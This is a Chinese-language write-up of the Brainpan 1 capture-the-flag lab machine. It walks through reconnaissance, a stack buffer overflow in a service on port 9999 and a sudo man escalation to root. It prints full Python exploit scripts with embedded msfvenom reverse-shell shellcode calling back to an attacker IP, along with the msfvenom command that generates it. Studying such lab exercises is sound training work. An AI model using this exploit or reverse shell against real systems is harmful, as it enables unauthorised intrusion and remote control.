靶机地址:https://www.vulnhub.com/entry/brainpan-1,51/
靶机难度:中级(CTF)
靶机发布日期:2013年3月20日
靶机描述:
通过使用这个虚拟机,你同意在任何情况下我都不会承担责任
包括但不限于间接或间接的损失或损害
间接损失或损害,或任何发生的损失或损害
因使用而产生或与使用有关的资料或利润的损失
这个软件。
目标:得到root权限&找到四个flag.txt
信息收集
nmap扫描靶机ip
nmap扫描端口
9999 ??
10000 SimpleHTTPServer
端口和之前的不一样,我们先访问9999端口
WEB界面不能访问,通过nc可以访问
没有密码,继续看一下10000端口
没有发现什么信息就是一个图片,dirb扫描
访问bin目录
是一个32位的windows可执行文件
strings查看文件,发现strcpy()函数,可能存在缓冲区溢出问题
这个windows可执行文件,下载并在windows执行
提示说启动9999端口,等待连接
缓冲区溢出获得shell
nc连接
根据提示和上面的strcpy函数,看来是个缓冲区溢出的问题
那可以按照缓冲区溢出的套路来了
在windows虚拟机上启动Immunity Debugger分析程序
先生成字符串
我们这里先介绍一下栈的重要概念
- 1、栈是先进后出
- 2、在内存中表现是从高地址到低地址存储
- 3、栈顶:栈的最上方(低地址区)(ESP)
- 4、栈低:栈的最下方(高地址区)(EBP)
- eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。
这次运行将前面生成的字符串输入程序,我们看到了程序崩溃和EIP被覆盖
看到EIP的位置 35724134
使用./pattern_offset.rb反查35724134在1000个字符串的那个位置,在第524个字符
我们再次验证一下,首先生成524个字符串
在524字符串基础上拼接一下其他字符,执行
我们在Immunity Debugger中看到EIP被63636363(cccc)覆盖,bbbb字符在ESP中存储,由此我们可以判断,我们将需要将cccc替换为ESP的位置,在ESP位置的字符后面写入我们需要的shellcode,就可以对缓冲区溢出进行利用了
在此之前要检查一下确保增加区域的大小以容纳shellcode。
计算得出有480个空间存储shellcode
先用msfvenom生成一个shellcode
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.16.143 LPORT=4444 -b “\x00\x0a\x0” -f py
编写一个python脚本方便拼接和写入shellcode
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys,socket
ip = ‘192.168.16.128’ #目标IP
port = 9999 #目标端口
strs = “a” * 524 #填充到溢出位置
eip = “\xf3\x12\x17\x31” #jmp esp 311712F3 位置
shellcode = “\x90” * 16 #\x90 表示NULL,多个空字符,用于平滑执行shellcode
#生成的shellcode
buf = “”
buf += “\xda\xc3\xd9\x74\x24\xf4\x58\x2b\xc9\xbd\xda\xf0\xf7”
buf += “\x68\xb1\x56\x31\x68\x18\x83\xc0\x04\x03\x68\xce\x12”
buf += “\x02\x94\x06\x50\xed\x65\xd6\x35\x67\x80\xe7\x75\x13”
buf += “\xc0\x57\x46\x57\x84\x5b\x2d\x35\x3d\xe8\x43\x92\x32”
buf += “\x59\xe9\xc4\x7d\x5a\x42\x34\x1f\xd8\x99\x69\xff\xe1”
buf += “\x51\x7c\xfe\x26\x8f\x8d\x52\xff\xdb\x20\x43\x74\x91”
buf += “\xf8\xe8\xc6\x37\x79\x0c\x9e\x36\xa8\x83\x95\x60\x6a”
buf += “\x25\x7a\x19\x23\x3d\x9f\x24\xfd\xb6\x6b\xd2\xfc\x1e”
buf += “\xa2\x1b\x52\x5f\x0b\xee\xaa\xa7\xab\x11\xd9\xd1\xc8”
buf += “\xac\xda\x25\xb3\x6a\x6e\xbe\x13\xf8\xc8\x1a\xa2\x2d”
buf += “\x8e\xe9\xa8\x9a\xc4\xb6\xac\x1d\x08\xcd\xc8\x96\xaf”
buf += “\x02\x59\xec\x8b\x86\x02\xb6\xb2\x9f\xee\x19\xca\xc0”
buf += “\x51\xc5\x6e\x8a\x7f\x12\x03\xd1\x17\xd7\x2e\xea\xe7”
buf += “\x7f\x38\x99\xd5\x20\x92\x35\x55\xa8\x3c\xc1\xec\xbe”
buf += “\xbe\x1d\x56\xae\x40\x9e\xa6\xe6\x86\xca\xf6\x90\x2f”
buf += “\x73\x9d\x60\xcf\xa6\x0b\x6b\x47\x89\x63\x7b\x18\x61”
buf += “\x71\x7c\x37\x2e\xfc\x9a\x67\x9e\xae\x32\xc8\x4e\x0e”
buf += “\xe3\xa0\x84\x81\xdc\xd1\xa6\x48\x75\x7b\x49\x24\x2d”
buf += “\x14\xf0\x6d\xa5\x85\xfd\xb8\xc3\x86\x76\x48\x33\x48”
buf += “\x7f\x39\x27\xbd\x18\xc1\xb7\x3e\x8d\xc1\xdd\x3a\x07”
buf += “\x96\x49\x41\x7e\xd0\xd5\xba\x55\x63\x11\x44\x28\x55”
buf += “\x69\x73\xbe\xd9\x05\x7c\x2e\xd9\xd5\x2a\x24\xd9\xbd”
buf += “\x8a\x1c\x8a\xd8\xd4\x88\xbf\x70\x41\x33\xe9\x25\xc2”
buf += “\x5b\x17\x13\x24\xc4\xe8\x76\x36\x03\x16\x04\x11\xac”
buf += “\x7e\xf6\x21\x4c\x7e\x9c\xa1\x1c\x16\x6b\x8d\x93\xd6”
buf += “\x94\x04\xfc\x7e\x1e\xc9\x4e\x1f\x1f\xc0\x0f\x81\x20”
buf += “\xe7\x8b\x32\x5a\x88\x2c\xb3\x9b\x80\x48\xb4\x9b\xac”
buf += “\x6e\x89\x4d\x95\x04\xcc\x4d\xa2\x17\x7b\xf3\x83\xbd”
buf += “\x83\xa7\xd4\x97”
#拼接
payload = strs + eip + shellcode + buf
#创建套接字:套接字最初是为同一主机上的应用程序所创建,使得主机上运行的一个程序(又名一个进程)与另一个运行的程序进行通信。这就是所谓的进程间通信
#AF_INET:面向网络的
#SOCK_STREAM:面向连接的套接字,这种连接类型的主要协议是传输控制协议(缩写 TCP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print “[-] Connecting to ” + str(ip)
#connect函数的功能是完成一个有连接协议的连接过程
s.connect((ip, port))
# Send payload
print “[-] Sending payload…. “,
#发送payload
s.send(payload)
print “Done”
except:
print “[-] Unable to connect to ” + str(ip)
#结束进程
sys.exit(0)
配置msf
执行python脚本,上传成功获得windows服务器权限
接下来将shellcode替换为linux版本,重新生成shellcode
配置msf
修改python脚本
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys,socket
ip = ‘192.168.16.136’ #目标IP
port = 9999 #目标端口
strs = “a” * 524 #填充到溢出位置
eip = “\xf3\x12\x17\x31” #jmp esp 311712F3 位置
shellcode = “\x90” * 16 #\x90 表示NULL,多个空字符,用于平滑执行shellcode
#生成的shellcode
buf = “”
buf += “\x33\xc9\x83\xe9\xef\xe8\xff\xff\xff\xff\xc0\x5e\x81”
buf += “\x76\x0e\xff\xb4\x39\x82\x83\xee\xfc\xe2\xf4\xce\x6f”
buf += “\xce\x61\xac\xf7\x6a\xe8\xfd\x3d\xd8\x32\x99\x79\xb9”
buf += “\x11\xa6\x04\x06\x4f\x7f\xfd\x40\x7b\x97\x74\x91\x92”
buf += “\x70\xdc\x3b\x82\xe5\xbe\xb0\x63\x4f\xd2\x69\xd3\xac”
buf += “\x07\x3a\x0b\x1e\x79\xb9\xd0\x97\xda\x16\xf1\x97\xdc”
buf += “\x16\xad\x9d\xdd\xb0\x61\xad\xe7\xb0\x63\x4f\xbf\xf4”
buf += “\x02”
#拼接
payload = strs + eip + shellcode + buf
#创建套接字:套接字最初是为同一主机上的应用程序所创建,使得主机上运行的一个程序(又名一个进程)与另一个运行的程序进行通信。这就是所谓的进程间通信
#AF_INET:面向网络的
#SOCK_STREAM:面向连接的套接字,这种连接类型的主要协议是传输控制协议(缩写 TCP)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print “[-] Connecting to ” + str(ip)
#connect函数的功能是完成一个有连接协议的连接过程
s.connect((ip, port))
# Send payload
print “[-] Sending payload…. “,
#发送payload
s.send(payload)
print “Done”
except:
print “[-] Unable to connect to ” + str(ip)
#结束进程
sys.exit(0)
启动python脚本,获得shell
发现此用户可以具备sudo权限,还不需要密码,直接sudo看一下结果
根据提示,执行命令看看
man提权
显示了ls命令的手册,看来这里可以使用man提权
Linux 的Pager类型命令是一些简单实用的命令、它们允许我们以分页的方式查看特定命令或文本文件的输出,最着名的是“more”、“man”和“less”、它还具有执行脚本的功能。
举个例子:
- 我们man一个命令,然后输入 !’ls’或者 !’sh’,,惊喜不惊喜,这里它就会成功的显示本目录下所有的文件
提示成功获得root权限,并获得flag
完成!!!
总结
这个靶机憋了我好几天,关于缓冲区溢出这方面的问题,实在是不太懂,如果懂这个靶机应该不难。
- 1、dirb扫描发现一个win程序,在wind虚拟机测试发现和靶机9999端口程序一致。
- 2、发现程序存在缓冲区溢出的问题,进过一系列的测试,成功编写好了exp。
- 3、成功反弹shell,获得靶机普通用户权限,并发现用户可具备sudo权限。
- 4、系统sudo /home/anansi/bin/anansi_util manual ls,发现应该是调用的man命令或者是一样的结构,直接man提权,执行!’/bin/bash’ 获得root权限。
来源:freebuf.com 2020-12-24 18:05:50 by: DXR嗯嗯呐
请登录后发表评论
注册